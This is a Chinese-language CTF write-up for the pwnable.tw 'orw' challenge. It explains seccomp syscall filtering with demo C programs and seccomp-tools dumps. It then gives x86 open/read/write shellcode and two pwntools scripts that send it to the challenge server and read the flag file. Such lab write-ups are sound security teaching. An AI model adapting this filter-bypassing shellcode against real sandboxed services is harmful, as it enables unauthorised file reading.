一句话题解:由于 seccomp 函数,被 system、execve 等函数 ban 了,需要用 open、read、write 函数把 flag 读取出来
[Asm] 纯文本查看 复制代码 pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x8048000 0x8049000 r-xp 1000 0 orw
0x8049000 0x804a000 r-xp 10 orw
0x804a000 0x804b000 rwxp 1000 100orw
分析程序是直接上 shellcode,使用 shellcraft.sh(),上 gdb 调试,发现能收到命令,但是命令不执行
seccomp 学习的相关链接
https://www.anquanke.com/post/id/208364#h2-0
https://blog.csdn.net/ATOOHOO/article/details/88957596
https://blog.csdn.net/Necrolic/article/details/106009382
[C] 纯文本查看 复制代码 #include <stdio.h>
int main(){
char * filename = "/bin/sh";
char * argv[] = {"/bin/sh", NULL};
char * envp[] = {NULL};
write(1, "A Shell.\n", 24);
//execve
syscall(59, filename, argv, envp);
return 0;
}
[C] 纯文本查看 复制代码 #include <stdio.h>
#include <unistd.h>
#include <seccomp.h>
int main(){
scmp_filter_ctx ctx;
ctx = seccomp_init(SCMP_ACT_ALLOW);
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execve), 0);
seccomp_load(ctx);
char * filename = "/bin/sh";
char * argv[] = {"/bin/sh", NULL};
char * envp[] = {NULL};
write(1, "A Shell.\n", 24);
//execve
syscall(59, filename, argv, envp);
return 0;
}
编译命令
[Asm] 纯文本查看 复制代码 gcc A.c -o A -l seccomp
运行结果
[Asm] 纯文本查看 复制代码 ./syscall
A Shell.
;<$ ls
ex_prctl ex_prctl.c seccomp_example seccomp_example.c syscall syscall.c
$ ^Z^C
$ exit
./syscall_seccomp
A Shell.
;<Bad system call
说明本来可以用的 execve 函数被 ban 了
seccomp-tools 逆向工具相关链接
[Asm] 纯文本查看 复制代码 https://github.com/david942j/seccomp-tools
sudo seccomp-tools dump syscall_seccomp
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x05 0xc000003e if (A != ARCH_X86_64) goto 0007
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x02 0xffffffff if (A != 0xffffffff) goto 0007
0005: 0x15 0x01 0x00 0x0000003b if (A == execve) goto 0007
0006: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0007: 0x06 0x00 0x00 0x00000000 return KILL
seccomp-tools dump orw
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x09 0x40000003 if (A != ARCH_I386) goto 0011
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x15 0x07 0x00 0x000000ad if (A == rt_sigreturn) goto 0011
0004: 0x15 0x06 0x00 0x00000077 if (A == sigreturn) goto 0011
0005: 0x15 0x05 0x00 0x000000fc if (A == exit_group) goto 0011
0006: 0x15 0x04 0x00 0x00000001 if (A == exit) goto 0011
0007: 0x15 0x03 0x00 0x00000005 if (A == open) goto 0011
0008: 0x15 0x02 0x00 0x00000003 if (A == read) goto 0011
0009: 0x15 0x01 0x00 0x00000004 if (A == write) goto 0011
0010: 0x06 0x00 0x00 0x00050026 return ERRNO(38)
0011: 0x06 0x00 0x00 0x7fff0000 return ALLOW
根据这个工具提供的信息,这个题可用的函数是 open、read、write
需要用这几个系统调用自定义一个读取 flag 的函数
题目 writeup 相关链接
https://www.jianshu.com/p/d14b42d96cac
https://www.cnblogs.com/unlookup/p/15337570.html
http://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/
所以,顺序应该是:用 open 打开该文件的描述符,用 read 函数打开该文件读取到 buffer,用 write 函数输出到屏幕
[Asm] 纯文本查看 复制代码 #define __NR_read 3
#define __NR_write 4
#define __NR_open 5
sys_open 系统调用传递的四个寄存器参数即具体实现:
eax = 0x05 系统调用号
ebx = filename 文件名
ecx = flags 置零即可
edx = mode 置零即可
sys_read 系统调用传递的四个寄存器参数即具体实现:
eax = 0x03 系统调用号
ebx = fd 文件指针,就是open的返回值,不需要改变
ecx = buf 缓冲区,指向栈顶位置
edx = count 字节数
sys_write 系统调用传递的四个寄存器参数即具体实现:
eax = 0x04 系统调用号
ebx = fd 文件指针,置为1,打印到屏幕
ecx = buf 缓冲区,指向栈顶
edx = count
open 函数
xor eax,eax
push eax ;"\0\0\0\0"
push 0x67616c66 ;"flag"
push 0x2f2f2f77 ;"w///"
push 0x726f2f65 ;"e/or"
push 0x6d6f682f ;"/hom"
mov ebx,esp ;esp is the address of "home/orw///flag"
mov al,5 ;__NR_open
int 0x80
read 函数
mov ebx,eax ;调用open之后,返回值(flag文件fd)存在了eax中
mov ecx,esp ;esp作为写入的起始处
xor edx,edx
mov dl,0x80 ;len
mov al,3 ;__NR_read
int 0x80 ;
write 函数
xor ebx,ebx
mov bl,1 ;stdout
mov al,4 ;__NR_write
int 0x80
[Python] 纯文本查看 复制代码 from pwn import *
context(os='linux',arch='i386')
io = remote('chall.pwnable.tw',10001)
#io = process("./orw")
#open
open_code = 'xor eax,eax\n'
open_code += 'push eax\n'
open_code += 'push ' + str(int.from_bytes(b"flag", 'little')) + '\n'
open_code += 'push ' + str(int.from_bytes(b"w///", 'little')) + '\n'
open_code += 'push ' + str(int.from_bytes(b"e/or", 'little')) + '\n'
open_code += 'push ' + str(int.from_bytes(b"/hom", 'little')) + '\n'
#open_code += 'push 0x67616c66\n'
#open_code += 'push 0x2f2f2f77\n'
#open_code += 'push 0x726f2f65\n'
#open_code += 'push 0x6d6f682f\n'
open_code += 'mov ebx,esp\n'
open_code += 'xor ecx,ecx\n'
open_code += 'mov al,5\n'
open_code += 'int 0x80\n'
#read
read_code = 'mov ebx,eax\n'
read_code += 'mov ecx,esp\n'
read_code += 'xor edx,edx\n'
read_code += 'mov dl,0x80\n'
read_code += 'mov al,3\n'
read_code += 'int 0x80\n'
#write
write_code = 'xor ebx,ebx\n'
write_code += 'mov bl,1\n'
write_code += 'mov al,4\n'
write_code += 'int 0x80'
shellcode = open_code + read_code + write_code
io.sendline(asm(shellcode))
io.interactive()
偷懒写法是这样的
[Python] 纯文本查看 复制代码 #!/usr/bin/env python
# coding=utf-8
from pwn import *
context(os = 'linux', arch = 'i386')
io = process("./orw")
payload = shellcraft.i386.pushstr("/home/orw/flag")
payload += shellcraft.i386.linux.syscall("SYS_open", "esp")
payload += shellcraft.i386.linux.syscall("SYS_read", "eax", "esp", 0x30)
payload += shellcraft.i386.linux.syscall("SYS_write", 1, "esp", 0x30)
io.recvuntil(":")
io.sendline(asm(payload))
io.interactive()
这里要注意,在本地测试的时候,本地要有 /home/orw/flag 这个文件的
|